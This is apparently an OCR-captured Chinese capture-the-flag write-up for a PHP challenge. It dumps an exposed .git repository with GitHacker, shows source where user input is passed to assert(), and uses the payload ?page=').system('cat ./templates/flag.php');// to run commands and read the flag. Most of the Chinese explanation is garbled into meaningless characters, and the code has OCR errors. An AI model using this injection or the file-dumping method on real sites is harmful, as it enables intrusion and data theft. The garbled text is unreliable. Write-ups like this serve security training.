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Welcome to my website!
| wrote it myself from scratch!

You can use the links above to navigate through the pages!
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About

| wrote this website all by myself in under a week!
| used:

e Git

e PHP

e Bootstrap
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Contact Me

Give me a call at +1 (248) 434-5508 if you want your own website!

=AM RN home. about. contact
W Zabout A H HKIIRER, "I RIFEEMMGTREFHER T git, X, RIBEESEI SIS H B gitRiL 5
HE—SEM, V5 /.git/ TR BAFTEQitIF D it 25 -

H &8 githacker T 4%t 58 9 V5D«

python3 githacker.py --url http://111.200.241.244:56610/ --folder result

kali@kali: ~/GitHacker
X EhE Yt BR

[41 bytes] 200 .git/refs/heads/master

Cloning downloaded repo from /tmp/tmpp9zlmcra to result
Check it out: result

~/GitHacker!




BE THEIEAN:

- |~/GitHacker/data/gfsj-mfw]

index-1.php index.php

| ~/GitHacker/data/gfsj-mfw!
cd templates

- [~/GitHacker/data/gfsj-mfw/templates]

about.php contact.php flag.php home.php

~/GltHacker/data/gfsj-mfw/templates]

RIFFENag.php X, EEEZMF:

-[~/GitHacker/data/gfsj-mfw/templates]

<?php

// TODO
// $FLAG
7>

- [~/GitHacker/data/gfsj-mfw/templates]

FREBIEEQBMAR, T T R TR B2 N S AR AT E

4k s B FHindexHIPRAID AT 7347



kali@kali: ~/GitHacker/data/gfsj-mfw
Xt EhiE Wi BFE TR
<7php

if (isset($ GET['page']l)) {
$page = $ GET['page'];
} else {
$page = "home";

}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file exists('$file')") or die("That file doesn't exist!");

7>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
index.phpl}

RILTATH ] e - fEpage S iE N, asserttR 0 & NS H] G2 UEphpREGHEATIAT, FrLL, AT LiKgstrpos/a B S0
TS, REEATHITHS, HEREFEMMRG, BInsLdlitasserti BHIATRN 2 LIRS, payloadh:

< S C @ O & 111.200.241.244:56610/?page=");// 2 o130% Y

OxaneEsws OxE Dz O18 O DO=g O @E @ SQl Injections

Detected hacking attempt!

YR AT, WUBTEA

/?page=").system("cat ./index.php");//
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FIr H 4 BT %424 Jindex.php

/?page=").system("cat ./templates/flag.php");//

&« > C W O & 111.200.241.244:56610/?page=").system("cat ./templates/flag.php™):// 2
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G @ & view-source:http://111.200.241.244:56610/?page=").system("cat ./templates/flag.php");//

Duxaesss Oz Dtz OT2 Dmwa O=g D=EE @ SQlInjections

<?php $FLAG="cyberpeace {537aad3ec5244b950df2353dbc34f348}”; 2>
<?php $FLAG="cyberpeace {537aad3ec5244b950df2353dbc34f348}”; 2>
<IDOCTYPE html>

<html>
<head>
{meta charset="utf-8">
{meta http—equiv="X-UA-Compatible” content="T1E=edge”>
{meta name="viewport” content="width=device-width, initial-scale=1">»
{title>*My PHP Website</title>
{link rel="stylesheet” href="https://cdnjs. cloudflare. com/ajax/1ibs/twitter-bootstrap/3. 3. 7/css/bootstrap. min.
{/head>
<body>

{nav class="navbar navbar—inverse navbar-fixed-top”>
{div class="container”>
{div class="navbar—header”>
<{button type="button” class="navhar—toggle collapsed” data—toggle="collapse” data—target="4navhar’
controls="navbar”>
{span class="sr-only”>Toggle navigation</span>
¢span class="icon-bar”></span>
<{span class="icon—bar”></span>
{span class="icon-har”><{/span>
{/button>
{a class="navbar-brand” href="%#">Project name</a>
<fdiv

R h#k Elflag !
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